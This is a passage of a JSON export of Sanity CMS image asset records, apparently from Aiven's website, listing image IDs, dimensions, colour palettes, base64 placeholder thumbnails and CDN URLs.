anity.io/images/sczeoy4w/production/35f5c5fa11e0f3bb2244c217f2763be92d319c52-1784x1207.jpg"} {"_createdAt":"2022-11-17T13:58:04Z","_id":"image-360a4efc9c83c6ee3b2eaebe954038ac6bf5240d-600x360-png","_rev":"YI3rks3mbRtnzMpdnMNShs","_type":"sanity.imageAsset","_updatedAt":"2022-11-17T13:58:04Z","assetId":"360a4efc9c83c6ee3b2eaebe954038ac6bf5240d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4T9Isx^NFM#8x_NVYMxRjo}jXWVDPx[xZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6666666666666667,"height":360,"width":600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA+0lEQVQokY2Q20oDQQyG9/2fzEtBL6ooSL0puOxhZjI5Z8tQle66xX7kYkj4hj/p5tNp+OpLKUTMzKrqayLC3ZmFiGrFUqCUUmtFxG7uhzRlRLrIZhZ7uLuZ2xXu3s1jyhmYRbW1ImK5wj1UXbftb7pcKgAyyyXhskbEMyjU9u1m1GRExha4rbqZRSzIPmcpoLorEwmR/JUjwjxIHMh+YsVdckSoWjtvrjCVmoGQVHXj35SFBaaU3j+nx8P8dizjLMx3ye3OZpIBX4/14RlfPiSDm+3HFlH39UotukUC76dI0N6bnSNuy78Xv9SquQSzj9N/8i4ePozydDgDimDCqPWovPUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c11e46","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f71c5a","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcdcc4","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f47494","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b45464","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f71c5a","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"360a4efc9c83c6ee3b2eaebe954038ac6bf5240d-600x360.png","path":"images/sczeoy4w/production/360a4efc9c83c6ee3b2eaebe954038ac6bf5240d-600x360.png","sha1hash":"360a4efc9c83c6ee3b2eaebe954038ac6bf5240d","size":29288,"uploadId":"qClZQQlXFMMr7M06deac2jKAxNcLq2am","url":"https://cdn.sanity.io/images/sczeoy4w/production/360a4efc9c83c6ee3b2eaebe954038ac6bf5240d-600x360.png"} {"_createdAt":"2024-03-26T14:29:13Z","_id":"image-363864318409954e0c36f96071e8262c01849f55-1200x628-jpg","_rev":"Y34ePYFQ489qDVybELxljZ","_type":"sanity.imageAsset","_updatedAt":"2024-03-26T14:29:13Z","assetId":"363864318409954e0c36f96071e8262c01849f55","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCAvVd0v-ATN+WRzTN}i0-oz-paJJWw]xB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGB//EACIQAAICAgIABwAAAAAAAAAAAAEDAgQAEQYhBRIUIzFSsf/EABcBAAMBAAAAAAAAAAAAAAAAAAEDBAb/xAAiEQEAAQIEBwAAAAAAAAAAAAABAwACBAURIQYSMTJhodH/2gAMAwEAAhEDEQA/AMMXdX6da4VVAgaMyOzjvjvhlp7oTC5xWRsTI6OToPsLzbOExB4fUJAJ8x71micSwXRgd12lKjhJC9Xoa0sVyG9QVCul6zGA18YZOX+rjtfY/uGF4awtzzXbr4PlUmcSmwe2v//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414477","foreground":"#fff","population":0.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":9.64,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":9.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2a1c5","foreground":"#000","population":0.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8963b","foreground":"#000","population":1.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5caf","foreground":"#fff","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c12","foreground":"#fff","population":1.16,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"og-glossary_meta-preview.jpg","path":"images/sczeoy4w/production/363864318409954e0c36f96071e8262c01849f55-1200x628.jpg","sha1hash":"363864318409954e0c36f96071e8262c01849f55","size":39968,"uploadId":"PKacFWGWuOO1WgjdL0P2QIBo7msi7pIX","url":"https://cdn.sanity.io/images/sczeoy4w/production/363864318409954e0c36f96071e8262c01849f55-1200x628.jpg"} {"_createdAt":"2023-09-13T08:02:15Z","_id":"image-36cfd46a445c71dc7cc3966addb2681b08705da3-1200x628-png","_rev":"Dk4vsGyYpr9Xi9g7r1I0Mt","_type":"sanity.imageAsset","_updatedAt":"2023-09-13T08:02:15Z","assetId":"36cfd46a445c71dc7cc3966addb2681b08705da3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM}a.zg1=Le9}Wjbfjjtf6Y+ene:e-gh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABj0lEQVQokZ3RS0sUABSG4TMXkjZaCHlBIjXJVi3CjAhX/YG85Q1NRMd08tLkGGkaaVhBQfl/zxMzEk1SmxZn+/Bx3jAemjcRTAXPgrlgIVgMngcrwWpQCTaCarAV7Aa1YC+oB/sh/grO/idY/wVOFJkuM11kpsBc4QJcCpZbwPUWcDvYCV5dXjhRYKWX2j02+6l0U+1jq4/tHjY6WLvC5lVe32C/i/p1Drs56uJdJ8eNu8bbNmGqTH2E7wucPOHgAe8fczrGySPqA2y2U+vibIQvo5wO822U8zF+POR8lK93OWoXJktUblK/z84w1Vts91MbpNZPtZNKG1sdHA5yfJuDHj4McHaHT0N8HuJjLwdtIsdDTpbkdFnOlOVsSc4X5WJRPi/K5YJcCblWkBslWS3LraLcKclaWe6V5X5ZvinK5g+fhuY14ky2VJ7/R+UXLZUvR2lUbi5s3ETIqZAzIedCLoRcDLkcFwtXQ66H3AhZDbkdcjdkLeReNNc1F/4BTl8Cl1rAtRbw5SWw/hv8Cdvr6QvSfPBYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4b4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fabc71","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b07755","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"SEO Image Aiven + Bonsai.png","path":"images/sczeoy4w/production/36cfd46a445c71dc7cc3966addb2681b08705da3-1200x628.png","sha1hash":"36cfd46a445c71dc7cc3966addb2681b08705da3","size":28319,"uploadId":"j81D30fe2FumsQHppKaXj5nWjnzhif7L","url":"https://cdn.sanity.io/images/sczeoy4w/production/36cfd46a445c71dc7cc3966addb2681b08705da3-1200x628.png"} {"_createdAt":"2022-08-29T14:15:37Z","_id":"image-36ec77d5dfd41400a1386ad571708e3c5ac98157-67x19-svg","_rev":"BBSsdcKfQe4E5jW8Uy2ixS","_type":"sanity.imageAsset","_updatedAt":"2022-08-29T14:16:35Z","altText":"Microsoft Azure logo","assetId":"36ec77d5dfd41400a1386ad571708e3c5ac98157","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DVRW0b~qD%?bof~q9F-;IUt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.526315789473684,"height":19,"width":67},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA/0lEQVQYlU3Qv0vWURzF8a9/QIljRKuWDQ6JRCFIJFoKPsNDiCLlEIiISk+L4D/mJggODf5YRIdoEKI13M9LPnIfcDh8Ltx7zznvT4drnOEIpzjGFqaxkmQdX/EBrzDZVOeXGMds+7PTJfmf5C/O8RtX+IkZrGIX+0m+VQB6SfpJ1rBRb5JsJvmRZNDhFjc4wQV+VRImkrzDMj5hAXN43+Yilh7dfcR8NSzDwj5JMjTcxgtM4W3hJRniVdDrmniGMYziCZ5Ww7sk/3CJP63toO2p2hVWr6l2+gWF+xnPUR4PStI9ICcZIpdpNay9vUEfezhoOkxSswK/t7Yjj03vAa3mlqTDE43YAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":2.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":2.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4b4","foreground":"#000","population":1.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-microsoft-azure-white.svg","path":"images/sczeoy4w/production/36ec77d5dfd41400a1386ad571708e3c5ac98157-67x19.svg","sha1hash":"36ec77d5dfd41400a1386ad571708e3c5ac98157","size":4642,"title":null,"uploadId":"gOrGxw6KOlgkxoqg2BqFCc1mBugI4qa7","url":"https://cdn.sanity.io/images/sczeoy4w/production/36ec77d5dfd41400a1386ad571708e3c5ac98157-67x19.svg"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-370fabcd2f4f0a8d7c87e8768f6775029f834137-750x171-png","_rev":"cEPH2uRN58AU2lp9QO7g77","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:18Z","assetId":"370fabcd2f4f0a8d7c87e8768f6775029f834137","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D055C2-qof?b9FWnj]fka#Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.385964912280702,"height":171,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAqElEQVQYlWWPS24EMQgF+yb8H8a4M57c/3CRO6NsItWuRAFXjQH3MF093/v13q+e5apCJMQwh3mY9bH7e+/V7abCJETX3WskXCVMEY44IRMRImUpZGW6aph9rJupqPAZXnOOgLMo0+n9QSTMGRiAi+hpsTDrg/AzXJkzcyAyPCN+CbOznBnuNbKAf1aV5YL7mnX3fOi7+9wCnLeZ3bRnfa2PXQ+FdD31H9+bK5VTvsDLAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#341c24","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c040a","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848283","foreground":"#fff","population":1.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afadad","foreground":"#000","population":0.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd9bcd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848283","foreground":"#fff","population":1.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf3f9f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"370fabcd2f4f0a8d7c87e8768f6775029f834137-750x171.png","path":"images/sczeoy4w/production/370fabcd2f4f0a8d7c87e8768f6775029f834137-750x171.png","sha1hash":"370fabcd2f4f0a8d7c87e8768f6775029f834137","size":13696,"uploadId":"EDqwpCfSUxvn7Ay7xs88M4jYFf6rg6yT","url":"https://cdn.sanity.io/images/sczeoy4w/production/370fabcd2f4f0a8d7c87e8768f6775029f834137-750x171.png"} {"_createdAt":"2024-07-03T08:48:42Z","_id":"image-37a37babfd5c8c692478ed5dbb506c36e7170a12-1200x628-png","_rev":"dL4QB5BmM9bhrJSKRq5evF","_type":"sanity.imageAsset","_updatedAt":"2024-07-03T08:48:42Z","assetId":"37a37babfd5c8c692478ed5dbb506c36e7170a12","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M37Kr..OrlQ+5J~UpMjqV;JF4?rTkEkGw;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACfUlEQVQokSWSeVMScRyH9xU0XbLAHqzL7v4WcHHxAuKQFMJKO8ymlLEZy9LSShQEBCVIu6bjJT+N+Mdnvv898/0cUsioMZf/zOL9E7KlJtO5BtnSCYVyn9zCgPT8kNhUD8U+JhTtoDhnRNwzhFdn0t8i4W0RcT4RttqErA7SCFg4oPKwS7HSJltqkVvoUaoOuLt0QaF8gTd3hu62UewTdLfHhP+RYuYJlUyOop8hLh6i23uE7R7SmLZOzN9hNnfAbOGQmXyTmXyLuUKX9Hx/9OF0fkgyPcTxB9gTLebTz6lVUuwuWbwvG6ykPTyvhu72kYJGDT+9T7F8zOKDHpXlLyw+GFCqDiktXVBe/sW9R38p3f9NMvMdMdGkkKryeE5jMxtgvxhgI2eSnnrBeOIbkhLdJFOsU105ZXl1yMraBdVH51fA6hWwvPyH7MIPRGqI4bZxnee4mk0yeJN5Q+aO8InFtzESP5DkyAbx1C6z+YNRKZlSi8l0AydZx042EH4b4XeJel1U0UV1TtGdQ5TIGpqcwwoVMSIvUe0mmvsV6bq8hqyto5ibaPYWqr1N2HyHbOwgG3sEzc8Eo4eEos1Ri5rbx0l9w5s9J5FqY8ePiLhtNNEbLUC6EVhFDT9j3KyhO1uEzNeo9g5m/BPj8TpGrIHuNglfzsbqjIKPTf9kKv8PP/sTd2qIlexjxHuoood0M/AUU10lJjaxEm/R7LcYsQ8I/xAx2cROthhPtFCcFmGrgyrOMBLnmN45RvwU3e2giTaKc6lTpGtjq9ySnzGmvGBMq3FbfUVAf0PI3CUc/Yhi1QlbRyPLl8BLW6oYjG4w2kI2G8jmEcHoMYro8x/jQWHnfMZPxAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#262a58","foreground":"#fff","population":0.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":12.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":12.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a94c4","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cbd0eb","foreground":"#000","population":5.42,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5c8e","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b98238","foreground":"#fff","population":1.33,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"BackMarketQuote2.png","path":"images/sczeoy4w/production/37a37babfd5c8c692478ed5dbb506c36e7170a12-1200x628.png","sha1hash":"37a37babfd5c8c692478ed5dbb506c36e7170a12","size":298485,"uploadId":"u1S5Yh8FwtrKkq73AfNoZFgkLwYKUmj8","url":"https://cdn.sanity.io/images/sczeoy4w/production/37a37babfd5c8c692478ed5dbb506c36e7170a12-1200x628.png"} {"_createdAt":"2024-02-27T12:57:22Z","_id":"image-37a810ad73cfffaeaa7bdabe0dfffb7656c98371-1920x1037-jpg","_rev":"w5AXxS2dRCMjAjCd4XPWfE","_type":"sanity.imageAsset","_updatedAt":"2024-02-27T12:57:22Z","assetId":"37a810ad73cfffaeaa7bdabe0dfffb7656c98371","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9AwVY8w5Txs8w-?xuIoaw%MVEysMbRQS~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYDBQf/xAAkEAABAgQGAwEAAAAAAAAAAAABAgMABAUGERITITFRInFywf/EABYBAQEBAAAAAAAAAAAAAAAAAAQBAv/EABoRAAIDAQEAAAAAAAAAAAAAAAECABEhBGH/2gAMAwEAAhEDEQA/AMat2tFErNsS8sNXMFDFXIEPFBqwr0tL65aYW46ULA3IT3CDYjSHqqsOpChkVz8mLixvCel1J2IP7EV9szLqxUhcwya56dSGqu6lqfaWO8DseoITbodWm4agEqwGsrj3BCT0eCFHPYssZ//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#284445","foreground":"#fff","population":6.96,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#127074","foreground":"#fff","population":3.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#284445","foreground":"#fff","population":6.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9aea7","foreground":"#000","population":6.59,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c3d5e7","foreground":"#000","population":0.76,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6387a6","foreground":"#fff","population":2.62,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#50b1cb","foreground":"#000","population":3.68,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-slush-2017.jpg","path":"images/sczeoy4w/production/37a810ad73cfffaeaa7bdabe0dfffb7656c98371-1920x1037.jpg","sha1hash":"37a810ad73cfffaeaa7bdabe0dfffb7656c98371","size":767989,"uploadId":"LgHLMFIqTcSSTDoxdK2n5TYoHfpF3QqD","url":"https://cdn.sanity.io/images/sczeoy4w/production/37a810ad73cfffaeaa7bdabe0dfffb7656c98371-1920x1037.jpg"} {"_createdAt":"2022-06-15T20:02:44Z","_id":"image-37cce003a68942ef20983c0192bc792cb09b9b94-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEe60g","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:57Z","assetId":"37cce003a68942ef20983c0192bc792cb09b9b94","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MZQSbw*0xtIUt7PWRjrrgNni%1MwkDr@WX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADEUlEQVQokTXO3W8iZRTHcf4rExNN1Eu9WW/WxgsTjXc1JsaEC1o1NmvSdWO0WdMYtN3dbpcWqKVpU7qw1O26LAXmhQEGmFdgmOHlmWeGAQZrt8s5pmS9+OR8z90vYJj0K0UzN2W1s6doZkzRzLiqW3PXLauduKQY824ZJG513bjVc+Pdvhvvk3Gc2JMY7fX3nE7zvtO1lgOq3v2DL9XlAlNxGU60Ga5KOb5GS2WJ8kKDsnyNspw474qoUqFcpwwrUKEsUlVr067RsV2ZccbCY30k5/cCHcuJqrrlSIqBstqZUzQTNb07d/3XGm2sSwaWKzKe/vUMj4+TmDk9RZ7j0ODP0DsLo//895HfOHsSINTfIdQnA3uCA3syG9gT+B9xfLAGY6ipfahKJnC8CIeHRxCPx+AkmYTCeQ70p9szb+tTHEcXXbe4nwrYznTXdqa27UzRdqbw+s5RMsK+ZqLE1lAs1ZEpspjY38dIJIKJxAE+yWRQONkCsv4h0h/fHKoPg6nrhbuE+jahPhLqg019pM4EXWeMntzE0WESyW4MW9kslnkeU6kUxnYiGH14H/eiu5je3wYxvIjKrbeGL1YX0q8X+rbtTJDS8cyhHniuB747hItSBfztHSCRR9DM56AhVoF/moHzzTXI3glCau17OHgQhuMHa5i+Gxym15cfB6g92qW2RxzbRZfYsxHpg+8SuHQJXGgKDM7zoOQL0KhUQM09B/PeL+AsfQT2F29DLXgDkj99M4vc28Cj2CMqZBIHgWHHiNKWTklLQ9fUYNrT8ZI08cpp40W/iV21hvVKCaXs32iFf0V/8SZOP3kD+4vvoPLD58hs3MYXR1GUCxlnouT+DExk4S4VWa5XY3VXFxr/mlXpVbcqzXpV6VWvKo2bnNQVz6V+KqF6S18b3o33eu2b71riypet1vFWkzAnuld71r5s5kvYKYYD/zQrH49VftnTuJVpi1+6MvkQmGwITCaEHSY0M4qhq3Zh+WXuaMX5Nviz8MH7G+mFhd/YzfU7Yym7iha7iiZzG03mO+gUP/sPHnfXIcrCCeQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#482b25","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#192a58","foreground":"#fff","population":1.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#192a58","foreground":"#fff","population":1.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4d6c6","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc464","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#688c9d","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7610c","foreground":"#fff","population":0.94,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"37cce003a68942ef20983c0192bc792cb09b9b94-1567x844.png","path":"images/sczeoy4w/production/37cce003a68942ef20983c0192bc792cb09b9b94-1567x844.png","sha1hash":"37cce003a68942ef20983c0192bc792cb09b9b94","size":352237,"uploadId":"u8n22nJUdtMjtKGYBZj8PSooplFTG2df","url":"https://cdn.sanity.io/images/sczeoy4w/production/37cce003a68942ef20983c0192bc792cb09b9b94-1567x844.png"} {"_createdAt":"2023-12-15T10:41:56Z","_id":"image-38003d999823e0b9903d745588c0916711d8888e-2176x1446-png","_rev":"Do3156plRwIXmiihNwkby3","_type":"sanity.imageAsset","_updatedAt":"2023-12-15T10:41:56Z","assetId":"38003d999823e0b9903d745588c0916711d8888e","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5048409405255878,"height":1446,"width":2176},"exif":{"PixelXDimension":2176,"PixelYDimension":1446,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAADNUlEQVQ4jU2Q20+bBRiH3/brd+jXM20p9DgOBSylLdAWGo4dx2JaDgLbGMxRJIEx2RLYRjQZyKIyjSRz0WRTo7tx0cQ/wL/uMaNcePHcvHny/JJXbIlN1EAR1dOJ4u3F4s1iacqjhEbRonNosRq2yDJKeBVbdAM9sYs9vokRuona1IfqacNwR3D4U+jhGUTJXWJLPUNL1NCCg1i9acSXweLvR20dwYiV0WOz6PEqenwZI1rFCE+hB4to/n6M1hGCyQU683eJDOwjWu4lauktxvAFet8eSnwerTmHO5wmmhwiNVihu7BCc6qKIz6GEcpihDIY4RLu7k9oyh+TnDnn5upzipUvEb3nEHvhW9xj32BMfIc2cERbtsJ8eYrttTWOD475/NE5H68/Ij20QCpboiMzSSB3m8T0KYnKz6QXX1H79AWz6+eI1nuEOXCMp28DfegpjvEXTFbqPN+7z9uzE/7+5R1/vf+Xyx//5GD/hO2728wt1umaPia79orM7T8o3HnD2u4FK/UfEPvwS8z8M/S2OZT0fVyjXzAyu83DzS2+fnzIm+9f8/73f/jtp3ecPTmlvnXAWGWfrqkTircuKWz9SnHjNdV7Z1S3LhB7/hQ9/QAlPIk1Po/RtUq0Z4a+7Ayl4SWWajsc7D7hcOeAtdoG/aU7BHu3CPTdo3t8n2T5iFjpIZ3FTTqH6ogSmUUJTWH1DWLx9WP15bF5M2i+DHpwmJb2MkOlKhMjc3R9NIoztoC1dQm1eQxXpIQjPo8aWcAWHEYNFBAxbyDONFZPPxZXL+LsRRwpru5mgkA0y0R5henpVSLtJazePOLOYXF2NXzPAOLOXrlib0XEiCBmEos7jcXZjhghxB5DzDhWs4WOngKf1Y/Y3XlKMjWG1RFDdD9iBBCzDXH0IM4UYo8imgsRPYAYzYj5IRJBdBeiexCjBcUVIZUrs//gK/b2TunJjKOYAURzNNB9jXFnuhE2WhBRda74UDf8jaBmXsmKK0oiVaay/Jj5xUNi3SMoDj+imv+L+hF7+/WbkojYFBqo15K9MaB7sbjiuOMlOvK36BhcxxUtYHEEEc15jf062oQYYcR+g/8AglSOfEkuoSQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3851","foreground":"#fff","population":1.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082477","foreground":"#fff","population":7.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#082477","foreground":"#fff","population":7.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcc2b7","foreground":"#000","population":0.62,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c9ee0","foreground":"#fff","population":0.51,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#937362","foreground":"#fff","population":1.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0754df","foreground":"#fff","population":0.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2023-12-15 at 11.31.12.png","path":"images/sczeoy4w/production/38003d999823e0b9903d745588c0916711d8888e-2176x1446.png","sha1hash":"38003d999823e0b9903d745588c0916711d8888e","size":5929448,"uploadId":"LWaSYBy3NgYVRfPV1RJpnnyU7aFUsAc8","url":"https://cdn.sanity.io/images/sczeoy4w/production/38003d999823e0b9903d745588c0916711d8888e-2176x1446.png"} 